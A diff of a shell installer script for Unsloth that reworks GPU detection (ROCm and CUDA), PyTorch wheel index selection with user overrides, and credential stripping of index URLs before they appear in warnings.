+    _ensure_rocm_probe_env
+    _pg=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]')
+    if [ -z "$_pg" ] && command -v rocminfo >/dev/null 2>&1; then
+        _pg=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; rocminfo 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)
+    fi
+    if [ -z "$_pg" ] && command -v amd-smi >/dev/null 2>&1; then
+        _pg=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi list 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)
+        if [ -z "$_pg" ]; then
+            _pg=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi static --asic 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)
         fi
     fi
-    # Fallback: NVIDIA driver exposes one subdir per GPU under this path.
-    if [ -d /proc/driver/nvidia/gpus ] && \
-       [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
-        return 0
-    fi
-    return 1
+    printf '%s\n' "$_pg"
 }
 
 # ── Detect GPU and choose PyTorch index URL ──
@@ -2015,6 +2338,24 @@ _has_usable_nvidia_gpu() {
 get_torch_index_url() {
     _base="${UNSLOTH_PYTORCH_MIRROR:-https://download.pytorch.org/whl}"
     _base="${_base%/}"
+    # Explicit override -- skip ALL GPU probing (headless / container / CI / cross-install).
+    # UNSLOTH_TORCH_INDEX_URL wins (full URL, verbatim); _FAMILY is the leaf (cpu, cu128, ...)
+    # appended to the mirror base. Trim whitespace so a whitespace-only value is unset.
+    _url="${UNSLOTH_TORCH_INDEX_URL:-}"
+    _url="${_url#"${_url%%[![:space:]]*}"}"; _url="${_url%"${_url##*[![:space:]]}"}"
+    if [ -n "$_url" ]; then
+        # Trim trailing PATH slashes (a multi-slash path 404s on strict pip proxies) while
+        # preserving a ?query/#fragment token (a whole-URL strip would eat a "/"-ending token).
+        _url=$(_trim_index_path_slashes "$_url")
+        echo "$_url"; return
+    fi
+    _family="${UNSLOTH_TORCH_INDEX_FAMILY:-}"
+    _family="${_family#"${_family%%[![:space:]]*}"}"; _family="${_family%"${_family##*[![:space:]]}"}"
+    if [ -n "$_family" ]; then
+        while [ "${_family#/}" != "$_family" ]; do _family="${_family#/}"; done
+        while [ "${_family%/}" != "$_family" ]; do _family="${_family%/}"; done
+        echo "$_base/$_family"; return
+    fi
     # macOS: always CPU (no CUDA support)
     case "$(uname -s)" in Darwin) echo "$_base/cpu"; return ;; esac
     # Try nvidia-smi -- require the binary to actually list a usable GPU.
@@ -2043,6 +2384,29 @@ get_torch_index_url() {
         if ! _has_amd_rocm_gpu; then
             echo "$_base/cpu"; return
         fi
+        # A generic rocm index is only safe when the gfx arch is readable: the
+        # Strix reroute (gfx1150/1151 -> arch-specific index) learns gfx from
+        # rocminfo/amd-smi, so if those are missing OR do not enumerate the GPU, an
+        # unknown-arch box might be Strix and would get the broken _grouped_mm
+        # wheels. Probe via the shared helper (override first, then rocminfo/amd-smi
+        # with visibility masks cleared); if the arch is unreadable, never guess a
+        # rocm index. A KFD-only host whose arch is still inferable from hardware
+        # IDs (PCI/cpuinfo/lspci) returns the cpu index and lets the runtime-less
+        # reroute below upgrade it to AMD per-arch wheels -- the reroute gate uses
+        # this same probe, so the handoff can't misfire. Only when inference fails
+        # too is CPU final, with the actionable warning.
+        _amd_gfx_probe=$(_probe_amd_gfx_arch)
+        if [ -z "$_amd_gfx_probe" ]; then
+            if _amd_inferred_gfx=$(_infer_linux_amd_gfx_arch 2>/dev/null) && \
+               [ -n "$_amd_inferred_gfx" ] && \
+               _amd_arch_index_family_for_gfx "$_amd_inferred_gfx" >/dev/null 2>&1; then
+                echo "[WARN] AMD GPU detected but rocminfo/amd-smi can't read its gfx arch -- inferring $_amd_inferred_gfx from hardware IDs." >&2
+                echo "$_base/cpu"; return
+            fi
+            echo "[WARN] AMD GPU detected but its gfx arch can't be read (rocminfo/amd-smi missing or not enumerating the GPU) -- installing CPU-only PyTorch." >&2
+            echo "[WARN] For GPU PyTorch, install or repair rocminfo/amd-smi (e.g. sudo pacman -S rocm-hip-sdk) and re-run this installer." >&2
+            echo "$_base/cpu"; return
+        fi
         # AMD GPU confirmed -- detect ROCm version
         _rocm_tag=""
         _rocm_tag=$({ command -v amd-smi >/dev/null 2>&1 && \
@@ -2059,7 +2423,11 @@ get_torch_index_url() {
             { command -v rpm >/dev/null 2>&1 && \
                 ver="$(rpm -q --qf '%{VERSION}\n' rocm-core 2>/dev/null)" && \
                 [ -n "$ver" ] && \
-                printf '%s\n' "$ver" | awk -F'[.-]' '{print "rocm"$1"."$2; exit}'; }) 2>/dev/null
+                printf '%s\n' "$ver" | awk -F'[.-]' '{print "rocm"$1"."$2; exit}'; }) 2>/dev/null || _rocm_tag=""
+        # ^ || guard: when EVERY version source is missing (e.g. rocminfo present
+        # but rocm-core not installed, so dpkg-query/rpm exit 1), the whole ||
+        # chain fails and set -e would kill the installer BEFORE the actionable
+        # no-version WARN below -- exactly the fresh-install case it exists for.
         # Validate _rocm_tag: must match "rocmX.Y" with major >= 1
         case "$_rocm_tag" in
             rocm[1-9]*.[0-9]*) : ;;  # valid (major >= 1)
@@ -2095,12 +2463,27 @@ get_torch_index_url() {
             esac
             return
         fi
-        # AMD GPU confirmed by rocminfo/amd-smi but ROCm version could not be
-        # read from any source (amd-smi, /opt/rocm/.info/version, hipconfig,
-        # dpkg, rpm).  Warn explicitly rather than silently installing CPU PyTorch.
-        echo "[WARN] AMD GPU detected but ROCm version could not be determined -- falling back to CPU-only PyTorch" >&2
-        echo "[WARN] Ensure one of the following is accessible: amd-smi, hipconfig, /opt/rocm/.info/version, rocm-core package" >&2
-        echo "[WARN] To install ROCm: https://rocm.docs.amd.com/en/latest/deploy/linux/index.html" >&2
+        # AMD GPU confirmed (rocminfo/amd-smi or the KFD topology fallback) but
+        # no ROCm/HIP install was found to read the version from (amd-smi,
+        # /opt/rocm/.info/version, hipconfig, dpkg, rpm). This is the common
+        # fresh-install case: the GPU is real, but with no ROCm userspace the
+        # correct PyTorch build can't be selected. Warn with an actionable fix
+        # rather than silently installing CPU PyTorch.
+        # A user-set UNSLOTH_ROCM_GFX_ARCH seeded the probe above, so rocminfo/
+        # amd-smi may still be unable to see the GPU; when the named arch maps to
+        # a wheel family, the runtime-less reroute (gated on the override) will
+        # install the AMD per-arch wheels -- a CPU-only warning here would be
+        # false for that path. Defer like the inferable-arch branch does.
+        if [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ] && \
+           _amd_arch_index_family_for_gfx "$_amd_gfx_probe" >/dev/null 2>&1; then
+            echo "[WARN] AMD GPU detected with no readable ROCm version, but UNSLOTH_ROCM_GFX_ARCH=$_amd_gfx_probe is set -- routing to AMD per-arch wheels." >&2
+            echo "$_base/cpu"; return
+        fi
+        echo "[WARN] AMD GPU detected, but no ROCm/HIP install was found to select the matching GPU PyTorch build -- falling back to CPU-only PyTorch." >&2
+        echo "[WARN] Install the ROCm/HIP SDK, then re-run this installer:" >&2
+        echo "[WARN]   Arch / CachyOS : sudo pacman -S rocm-hip-sdk" >&2
+        echo "[WARN]   other distros  : https://rocm.docs.amd.com/en/latest/deploy/linux/index.html" >&2
+        echo "[WARN] Minimum required for version detection: amd-smi, hipconfig, /opt/rocm/.info/version, or the rocm-core package." >&2
         echo "$_base/cpu"; return
     fi
     # Parse CUDA version from nvidia-smi output (POSIX-safe, no grep -P).
@@ -2143,33 +2526,200 @@ _torch_flavor_tag() {
     esac
 }
 
-# Expected tag from the index leaf ($1): cuXXX / cpu / rocm (rocmX.Y and gfx* ->
-# rocm). Empty on an unknown leaf (odd mirror) so the repair safely no-ops.
-_expected_torch_flavor_tag() {
-    _u="${1%/}"
-    _leaf="${_u##*/}"
-    case "$_leaf" in
-        cu[0-9]*)   echo "$_leaf" ;;
-        cpu)        echo "cpu" ;;
-        rocm*|gfx*) echo "rocm" ;;
-        *)          echo "" ;;
+# Final path segment of a wheel index URL ($1), lowercased, query/fragment stripped first
+# so a token-authenticated pin (.../cu128?token=x) classifies as cu128 (else it reinstalls
+# every update). Classification only. Shared with the py / ps1 leaf extractors.
+_torch_index_url_leaf() {
+    _tl_u="${1%%\?*}"
+    _tl_u="${_tl_u%%#*}"
+    # Strip ALL trailing slashes, not one: .../rocm7.2// must yield rocm7.2, not an empty leaf.
+    while [ -n "$_tl_u" ] && [ "${_tl_u%/}" != "$_tl_u" ]; do
+        _tl_u="${_tl_u%/}"
+    done
+    printf '%s' "${_tl_u##*/}" | tr '[:upper:]' '[:lower:]'
+}
+
+# True (exit 0) when a lowercased leaf is an EXACT pip ROCm family: rocm<digits>[.<digits>]
+# or a gfx ARCHITECTURE leaf (gfx followed by a digit: gfx90a, gfx1151, gfx120x-all). A leaf
+# that merely starts with rocm/gfx (rocm7.2-private, gfx-private) is a custom verbatim pin.
+# Matches the py / ps1 sides.
+_is_pip_rocm_family_leaf() {
+    case "$1" in
+        gfx[0-9]*) return 0 ;;
+        rocm[0-9]*)
+            # Exact rocm<digits>[.<digits>]: both major and minor must be non-empty all-digits
+            # (rocm7., rocm7.2.1, rocm7.2-private are all custom pins, not a family).
+            _rocm_rest="${1#rocm}"
+            case "$_rocm_rest" in
+                *.*.*) return 1 ;;
+                *.*)
+                    _rocm_minor="${_rocm_rest#*.}"
+                    case "${_rocm_rest%%.*}" in "" | *[!0-9]*) return 1 ;; esac
+                    case "$_rocm_minor" in "" | *[!0-9]*) return 1 ;; esac
+                    ;;
+                *[!0-9]*) return 1 ;;
+            esac
+            return 0
+            ;;
+        *) return 1 ;;
     esac
 }
 
-# Whether index ($1) supports a plain --index-url reinstall. pytorch.org cuXXX /
+# Whether release base $1 (X.Y[.Z...]) falls inside constraint window $2
+# ("torch>=A.B[.C],<D.E.F"). Compares at major.minor granularity, which is exact
+# for the windows this script uses (ceilings are always X.Y.0); a non-.0 ceiling
+# would only make this conservative (excludes the whole ceiling minor). Anything
+# unparseable answers "no" so the caller fails toward the supported range.
+_torch_release_in_window() {
+    _trw_con="$2"
+    case "$_trw_con" in
+        "torch>="*",<"*) ;;
+        *) echo "no"; return ;;
+    esac
+    _trw_floor="${_trw_con#torch>=}"; _trw_floor="${_trw_floor%%,*}"
+    _trw_ceil="${_trw_con##*,<}"
+    _v_maj="${1%%.*}";          _v_rest="${1#*.}";          _v_min="${_v_rest%%.*}"
+    _f_maj="${_trw_floor%%.*}"; _f_rest="${_trw_floor#*.}"; _f_min="${_f_rest%%.*}"
+    _c_maj="${_trw_ceil%%.*}";  _c_rest="${_trw_ceil#*.}";  _c_min="${_c_rest%%.*}"
+    for _trw_n in "$_v_maj" "$_v_min" "$_f_maj" "$_f_min" "$_c_maj" "$_c_min"; do
+        case "$_trw_n" in ''|*[!0-9]*) echo "no"; return ;; esac
+    done
+    if [ "$_v_maj" -gt "$_f_maj" ] || { [ "$_v_maj" -eq "$_f_maj" ] && [ "$_v_min" -ge "$_f_min" ]; }; then
+        if [ "$_v_maj" -lt "$_c_maj" ] || { [ "$_v_maj" -eq "$_c_maj" ] && [ "$_v_min" -lt "$_c_min" ]; }; then
+            echo "yes"
+            return
+        fi
+    fi
+    echo "no"
+}
+
+# Keep the previous venv's torch on a re-run: echo "torch==X.Y.Z" when the probed
+# version ($1) is inside the active constraint window ($2), else "". The RELEASE is kept
+# regardless of flavor tag; the pin installs from the freshly chosen index, so flavor
+# follows the machine (cpu <-> cuda, cu126 -> cu130, PyPI bare -> +cu130) while the
+# release follows the user. Gating on flavor was wrong: a PyPI torch reports a BARE
+# version (on Linux the PyPI wheel IS CUDA), misclassified "cpu", so a healthy 2.10 on a
+# cu130 host was moved to 2.11. Per-leaf floors still win (rocm7.2 / gfx >=2.11 for the
+# Strix _grouped_mm fix, out-of-window manual installs) and are never pinned; the caller's
+# _PREV_FALLBACK_CONSTRAINT installs the newest supported release when the index lacks the
+# exact one. Opt out with UNSLOTH_TORCH_UPGRADE=1.
+_previous_torch_pin() {
+    _ptp_ver="$1"
+    _ptp_con="$2"
+    [ -n "$_ptp_ver" ] || { echo ""; return; }
+    [ "${UNSLOTH_TORCH_UPGRADE:-0}" = "1" ] && { echo ""; return; }
+    _ptp_base="${_ptp_ver%%+*}"
+    # Base must be a plain numeric release (X.Y[.Z]); probe noise and
+    # nightly/dev/source builds (2.11.0.dev20250704, 2.9.0a0) must never
+    # become a pin -- no stable index carries them, so pinning would only
+    # print "keeping it" and then burn a doomed resolve before falling back.
+    case "$_ptp_base" in
+        *[!0-9.]* | *..* | .* | *.) echo ""; return ;;
+        [0-9]*.[0-9]*) ;;
+        *) echo ""; return ;;
+    esac
+    [ "$(_torch_release_in_window "$_ptp_base" "$_ptp_con")" = "yes" ] || { echo ""; return; }
+    echo "torch==$_ptp_base"
+}
+
+# Install torch from TORCH_INDEX_URL honoring a kept-release pin: with _PREV_TORCH_PIN
+# set, TORCH_CONSTRAINT is the exact previous release; fall back to the supported range
+# if the index lacks it (pruned mirror) rather than failing. Used by every --default-index
+# path (NVIDIA cu*, AMD rocm/gfx fallbacks, cpu/mac, ROCm repairs) so preservation is
+# uniform. Extra args (e.g. --force-reinstall) are passed through to uv.
+_install_torch_default_index() {
+    if [ -n "$_PREV_TORCH_PIN" ]; then
+        # Pair the companions with the kept torch minor: torchaudio no longer
+        # exact-pins torch in its metadata, so leaving it unconstrained resolves
+        # a newer mismatched build (a kept torch 2.9.0 pulled torchaudio 2.11.0).
+        _itdi_base="${_PREV_TORCH_PIN#torch==}"
+        _itdi_minor="${_itdi_base#*.}"
+        _itdi_minor="${_itdi_minor%%.*}"
+        _itdi_tv="torchvision"
+        _itdi_ta="torchaudio"
+        case "$_itdi_base" in
+            2.*)
+                _itdi_tv="torchvision==0.$((_itdi_minor + 15)).*"
+                _itdi_ta="torchaudio==2.${_itdi_minor}.*"
+                ;;
+        esac
+        if ! run_install_cmd_retry "install PyTorch (kept release)" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" "$_itdi_tv" "$_itdi_ta" \
+            --default-index "$TORCH_INDEX_URL" "$@"; then
+            substep "[WARN] $_PREV_TORCH_PIN is not installable from $(_strip_index_url_credentials "$TORCH_INDEX_URL") -- installing the newest supported release instead" "$C_WARN"
+            TORCH_CONSTRAINT="$_PREV_FALLBACK_CONSTRAINT"
+            _PREV_TORCH_PIN=""
+            run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" "$TORCHVISION_CONSTRAINT" "$TORCHAUDIO_CONSTRAINT" \
+                --default-index "$TORCH_INDEX_URL" "$@"
+        fi
+    else
+        run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" "$TORCHVISION_CONSTRAINT" "$TORCHAUDIO_CONSTRAINT" \
+            --default-index "$TORCH_INDEX_URL" "$@"
+    fi
+}
+
+# Expected tag from the index leaf ($1): cuXXX / cpu / rocm (rocmX.Y and gfx* ->
+# rocm). Empty on an unknown leaf (odd mirror) so the repair safely no-ops.
+_expected_torch_flavor_tag() {
+    _leaf=$(_torch_index_url_leaf "$1")
+    case "$_leaf" in
+        cu[0-9]*)
+            # Exact cu + digits only; a cu*-suffixed leaf (cu128-private) -> "" (custom),
+            # else a correct +cu128 wheel is force-reinstalled every run.
+            case "${_leaf#cu}" in
+                *[!0-9]*) echo "" ;;
+                *)        echo "$_leaf" ;;
+            esac
+            ;;
+        cpu)          echo "cpu" ;;
+        # Exact rocm/gfx families only; a custom rocm*-suffixed leaf -> "" (custom).
+        *)
+            if _is_pip_rocm_family_leaf "$_leaf"; then echo "rocm"; else echo ""; fi
+            ;;
+    esac
+}
+
+# Whether index ($1) supports a plain --default-index reinstall. pytorch.org cuXXX /
 # rocmX.Y AND the repo.amd.com gfx* indexes are all PEP 503 simple indexes that uv
-# resolves (torch + every transitive dep) via --index-url -- the same URLs the
+# resolves (torch + every transitive dep) via --default-index -- the same URLs the
 # fresh-install paths above already use -- so a stale wheel is auto-repairable.
 # Unknown/odd-mirror leaves -> no, so we warn rather than risk a wrong reinstall.
 _torch_index_repairable() {
-    _u="${1%/}"
-    _leaf="${_u##*/}"
+    _leaf=$(_torch_index_url_leaf "$1")
     case "$_leaf" in
-        cu[0-9]*|rocm[0-9]*|gfx*) echo "yes" ;;
-        *)                        echo "no" ;;
+        cu[0-9]*) echo "yes" ;;
+        # Only EXACT rocm/gfx families resolve via --default-index; a suffixed leaf is verbatim.
+        *)
+            if _is_pip_rocm_family_leaf "$_leaf"; then echo "yes"; else echo "no"; fi
+            ;;
     esac
 }
 
+# Remove credentials from a wheel index URL ($1) so an authenticated pin never leaks:
+# drops userinfo AND query/fragment; scheme/host/path stay exact. Shared with py / ps1.
+_strip_index_url_credentials() {
+    _sic_url="$1"
+    case "$_sic_url" in
+        *://*) ;;
+        *) printf '%s' "$_sic_url"; return ;;
+    esac
+    _sic_scheme="${_sic_url%%://*}"
+    _sic_rest="${_sic_url#*://}"
+    # Drop query / fragment (may hold auth tokens).
+    _sic_rest="${_sic_rest%%\?*}"
+    _sic_rest="${_sic_rest%%#*}"
+    _sic_auth="${_sic_rest%%/*}"
+    # Drop user:pass@ userinfo if present.
+    case "$_sic_auth" in
+        *@*) _sic_host="${_sic_auth##*@}" ;;
+        *)   _sic_host="$_sic_auth" ;;
+    esac
+    if [ "$_sic_auth" = "$_sic_rest" ]; then
+        printf '%s://%s' "$_sic_scheme" "$_sic_host"
+    else
+        printf '%s://%s/%s' "$_sic_scheme" "$_sic_host" "${_sic_rest#*/}"
+    fi
+}
+
 get_radeon_wheel_url() {
     # Only meaningful on Linux. Picks a repo.radeon.com base URL whose listing
     # contains torch wheels. Tries paths like rocm-rel-7.2.1/, rocm-rel-7.2/,
@@ -2291,7 +2841,7 @@ _pick_radeon_wheel() {
 # the installer -- always returns 0. Runs the idempotent helper (ROCm 7.2 +
 # librocdxg), then sources the env it persisted so detection finds the GPU.
 # Export the ROCm-on-WSL env into this process and persist it to /etc/profile.d
-# so non-login Studio/llama launches inherit it. Idempotent (writes only when
+# so non-login Unsloth/llama launches inherit it. Idempotent (writes only when
 # the drop-in is missing); no-op without librocdxg, so never fires off WSL.
 # /etc/profile.d is root-owned -- sudo-tee when not root, else ROCm vanishes
 # after this shell on a non-root reinstall. Best-effort either way.
@@ -2321,31 +2871,34 @@ _persist_rocm_wsl_dropin() {
     fi
 }
 
+# _wsl_amd_gpu_name is defined earlier so both the reroute and this bootstrap can use it.
 _maybe_bootstrap_rocm_wsl() {
     [ "${OS:-}" = "wsl" ] || return 0
     [ "${SKIP_TORCH:-false}" = "false" ] || return 0
     [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
     # Leave any already-usable GPU completely alone (NVIDIA, or working ROCm).
     if _has_usable_nvidia_gpu; then return 0; fi
-    # "Usable ROCm" here = rocminfo enumerates the gfx1151 agent. Don't use the
-    # generic _has_amd_rocm_gpu: its broad gfx match accepts "gfx11-generic" and
-    # would skip this bootstrap while the real GPU is still unusable. awk consumes
-    # all input, so rocminfo isn't SIGPIPE'd like `grep -q` would under pipefail.
+    # Usable ROCm = rocminfo enumerates a real GPU agent: gfx[1-9] (excludes gfx000,
+    # the CPU agent) and not the "gfx11-generic" fallback. awk consumes all input so
+    # rocminfo isn't SIGPIPE'd like `grep -q` under pipefail.
     _ensure_rocm_probe_env
     if command -v rocminfo >/dev/null 2>&1 && \
-       rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx1151/{found=1} END{exit !found}'; then
+       rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx[1-9]/ && !/generic/{found=1} END{exit !found}'; then
         # rocminfo may work only via the transient env _ensure_rocm_probe_env
         # just set, which dies with the installer. Persist the drop-in so login
-        # shells (Studio, llama.cpp) inherit it -- else a reinstall over an
+        # shells (Unsloth, llama.cpp) inherit it -- else a reinstall over an
         # existing /opt/rocm (uninstall keeps ROCm but drops it) loses the GPU.
         _persist_rocm_wsl_dropin
         return 0
     fi
     # WSL GPU passthrough device must exist (present on any WSL2 GPU host).
     [ -e /dev/dxg ] || return 0
-    # Only Strix Halo (gfx1151): rocminfo can't tell us the arch yet, so match
-    # the CPU model string WSL exposes (e.g. "AMD Ryzen AI Max+ ... Radeon 8060S").
-    grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
+    # Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards don't, so also
+    # ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo.
+    if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null \
+       && ! _wsl_amd_gpu_name >/dev/null 2>&1; then
+        return 0
+    fi
     command -v bash >/dev/null 2>&1 || return 0
 
     # Fast path: already configured (librocdxg present) but launched from a
@@ -2355,7 +2908,7 @@ _maybe_bootstrap_rocm_wsl() {
             # shellcheck disable=SC1091
             . /etc/profile.d/unsloth-rocm-wsl.sh || true
         else
-            # librocdxg present but the env drop-in is gone (e.g. a Studio
+            # librocdxg present but the env drop-in is gone (e.g. an Unsloth
             # uninstall removed it while keeping shared ROCm). Restore the env.
             _persist_rocm_wsl_dropin
         fi
@@ -2363,7 +2916,8 @@ _maybe_bootstrap_rocm_wsl() {
     fi
 
     echo ""
-    substep "Detected AMD Strix Halo (Radeon 8000S) in WSL with no ROCm runtime yet." "$C_WARN"
+    _rw_gpu="$(_wsl_amd_gpu_name 2>/dev/null || true)"; [ -n "$_rw_gpu" ] || _rw_gpu="an AMD GPU"
+    substep "Detected ${_rw_gpu} in WSL with no ROCm runtime yet." "$C_WARN"
     substep "Setting up ROCm-on-WSL (ROCm 7.2 + librocdxg) automatically to enable this GPU."
     substep "One-time, uses sudo and a large download. (skip: re-run with UNSLOTH_SKIP_ROCM_WSL_SETUP=1)"
 
@@ -2411,10 +2965,88 @@ _maybe_bootstrap_rocm_wsl() {
     [ -n "$_rw_tmp" ] && rm -f "$_rw_tmp"
     return 0
 }
-_maybe_bootstrap_rocm_wsl || true
+# When the caller pins the wheel index (UNSLOTH_TORCH_INDEX_URL / _FAMILY), honour it
+# everywhere: skip the WSL ROCm bootstrap and the Radeon/Strix reroute below (which would
+# re-probe the GPU and overwrite the pin). Trim whitespace first (parity with
+# get_torch_index_url): a whitespace-only override is unset there, so must not flip this true.
+_torch_index_pinned=false
+_ti_url_trim="${UNSLOTH_TORCH_INDEX_URL:-}"
+_ti_url_trim="${_ti_url_trim#"${_ti_url_trim%%[![:space:]]*}"}"; _ti_url_trim="${_ti_url_trim%"${_ti_url_trim##*[![:space:]]}"}"
+_ti_family_trim="${UNSLOTH_TORCH_INDEX_FAMILY:-}"
+_ti_family_trim="${_ti_family_trim#"${_ti_family_trim%%[![:space:]]*}"}"; _ti_family_trim="${_ti_family_trim%"${_ti_family_trim##*[![:space:]]}"}"
+if [ -n "$_ti_url_trim" ] || [ -n "$_ti_family_trim" ]; then
+    _torch_index_pinned=true
+fi
+[ "$_torch_index_pinned" = true ] || _maybe_bootstrap_rocm_wsl || true
 
 TORCH_INDEX_URL=$(get_torch_index_url)
 
+# Linux: ROCm runtime missing but a supported AMD gfx arch is inferable (Strix Halo
+# in /proc/cpuinfo, lspci marketing name, UNSLOTH_ROCM_GFX_ARCH). Route to AMD's
+# per-arch wheels like install.ps1 does on Windows (unslothai#7301).
+# Gated on the runtime probes NOT naming a gfx: either no AMD GPU is detected at
+# all (_has_amd_rocm_gpu false), or the GPU is visible only through the
+# env-independent KFD topology while rocminfo/amd-smi can't read its arch
+# (KFD-only host, unslothai#7314 -- before the KFD detection fix these hosts
+# reached this reroute via the false branch, so the empty-probe condition
+# preserves that routing). A */cpu index chosen WITH a readable gfx
+# (unsupported/unreadable ROCm version, after its own warning) is a deliberate
+# fallback -- rerouting it would contradict that decision, and stays excluded
+# because the shared probe returns its gfx. An explicit UNSLOTH_ROCM_GFX_ARCH
+# override stays authoritative either way.
+if [ "$_torch_index_pinned" = false ] && [ "$SKIP_TORCH" = false ] && \
+   ! _has_usable_nvidia_gpu && \
+   { [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ] || ! _has_amd_rocm_gpu || \
+     [ -z "$(_probe_amd_gfx_arch)" ]; } && \
+   case "$(uname -s)" in Linux) true ;; *) false ;; esac && \
+   case "$_ARCH" in x86_64|amd64) true ;; *) false ;; esac; then
+    # ROCm torch wheels are x86_64-only; get_torch_index_url returns CPU on other
+    # arches, so an inferred/overridden gfx must not reroute arm64 to AMD wheels.
+    case "$TORCH_INDEX_URL" in
+        */cpu)
+            _linux_inferred_gfx=$(_infer_linux_amd_gfx_arch 2>/dev/null || true)
+            if [ -n "$_linux_inferred_gfx" ]; then
+                _amd_family=$(_amd_arch_index_family_for_gfx "$_linux_inferred_gfx") || _amd_family=""
+                if [ -n "$_amd_family" ]; then
+                    _amd_mirror="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}"
+                    while [ "${_amd_mirror%/}" != "$_amd_mirror" ]; do
+                        _amd_mirror="${_amd_mirror%/}"
+                    done
+                    TORCH_INDEX_URL="${_amd_mirror}/${_amd_family}/"
+                    # Hand the inferred arch to setup.sh (llama.cpp): it re-probes
+                    # ROCm on its own, and on these runtime-less hosts its probes
+                    # find nothing, so without this it classifies the box as
+                    # non-ROCm and installs the CPU prebuilt while torch just got
+                    # AMD per-arch wheels. setup.sh and install_llama_prebuilt.py
+                    # both honor UNSLOTH_ROCM_GFX_ARCH, so exporting it is the
+                    # whole handoff (a user-set override re-exports unchanged).
+                    export UNSLOTH_ROCM_GFX_ARCH="$_linux_inferred_gfx"
+                    case "$_linux_inferred_gfx" in
+                        gfx1201|gfx1200|gfx1151|gfx1150)
+                            TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0"
+                            TORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0"
+                            TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0"
+                            ;;
+                    esac
+                    echo "" >&2
+                    # KFD-only hosts reach this reroute with /dev/kfd present
+                    # (that's what detected them), so don't claim it's missing.
+                    if _has_amd_rocm_gpu; then
+                        echo "  [WARN] AMD GPU visible via the kernel driver (KFD) but rocminfo/amd-smi can't read its gfx arch; using $_linux_inferred_gfx." >&2
+                    else
+                        echo "  [WARN] ROCm runtime not visible (/dev/kfd, rocminfo, amd-smi) but $_linux_inferred_gfx inferred." >&2
+                    fi
+                    echo "  [WARN] Routing to AMD arch-specific wheels ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))." >&2
+                    echo "  [WARN] These wheels bundle their own ROCm runtime; install the kernel stack for native compute:" >&2
+                    echo "  [WARN]   https://docs.unsloth.ai/get-started/install-and-update/amd" >&2
+                    echo "  [WARN] Tip: set UNSLOTH_ROCM_GFX_ARCH=$_linux_inferred_gfx to skip inference next time." >&2
+                    echo "" >&2
+                fi
+            fi
+            ;;
+    esac
+fi
+
 # Export the resolved torch backend ("cuda", "rocm", or "cpu") so that
 # downstream scripts (setup.sh -> install_python_stack.py) know what was
 # chosen here and can skip ROCm-specific repair steps on CUDA/CPU hosts.
@@ -2422,24 +3054,74 @@ TORCH_INDEX_URL=$(get_torch_index_url)
 # whose base path happens to contain "rocm" or "gfx" must not mislabel a
 # cu*/cpu index as ROCm (radeon repo URLs end in rocm-rel-X.Y/, Strix
 # overrides in gfxNNNN/, so the trailing slash is stripped first).
-_torch_index_leaf="${TORCH_INDEX_URL%/}"
+# Lowercase the leaf so every gfx*/rocm*/cu* arm matches regardless of case (canonical AMD
+# RDNA4 leaf is gfx120X-all). CUDA is branded only on a real cu[0-9]* leaf, so a mirror
+# leaf (/current) does NOT commit a CUDA backend; an unknown leaf leaves the var unset so
+# the stack probes the GPU. Query/fragment dropped first, then ALL trailing slashes (in
+# lockstep with the shared _torch_index_url_leaf extractor).
+_torch_index_leaf="${TORCH_INDEX_URL%%\?*}"
+_torch_index_leaf="${_torch_index_leaf%%#*}"
+# Strip ALL trailing slashes, not one: .../cu128// must yield cu128, not an empty leaf.
+while [ -n "$_torch_index_leaf" ] && [ "${_torch_index_leaf%/}" != "$_torch_index_leaf" ]; do
+    _torch_index_leaf="${_torch_index_leaf%/}"
+done
 _torch_index_leaf="${_torch_index_leaf##*/}"
+_torch_index_leaf=$(printf '%s' "$_torch_index_leaf" | tr '[:upper:]' '[:lower:]')
 case "$_torch_index_leaf" in
     rocm*|gfx*) export UNSLOTH_TORCH_BACKEND="rocm" ;;
     cpu)        export UNSLOTH_TORCH_BACKEND="cpu"  ;;
-    *)          export UNSLOTH_TORCH_BACKEND="cuda" ;;
+    cu[0-9]*)   export UNSLOTH_TORCH_BACKEND="cuda" ;;
+    # Unknown leaf (odd mirror, /current): unset so a stale inherited value can't leak and
+    # the stack probes the GPU.
+    *)          unset UNSLOTH_TORCH_BACKEND ;;
 esac
 
-# rocm7.2 ships torch 2.11.0 -- adjust the constraint to allow it.
-# All other ROCm tags and CUDA stay within <2.11.0.
-case "$TORCH_INDEX_URL" in
-    */rocm7.2) TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0" ;;
+# Whether TORCH_INDEX_URL names an actual pip ROCm family (rocm<digit>* / gfx*), gating the
+# ROCm-only side effects below (AMD bitsandbytes, ROCm-torch repair). Digit-gated so a leaf
+# merely STARTING with "rocm" isn't force-repaired from the wrong path.
+if _is_pip_rocm_family_leaf "$_torch_index_leaf"; then
+    _torch_index_is_rocm_family=true
+else
+    _torch_index_is_rocm_family=false
+fi
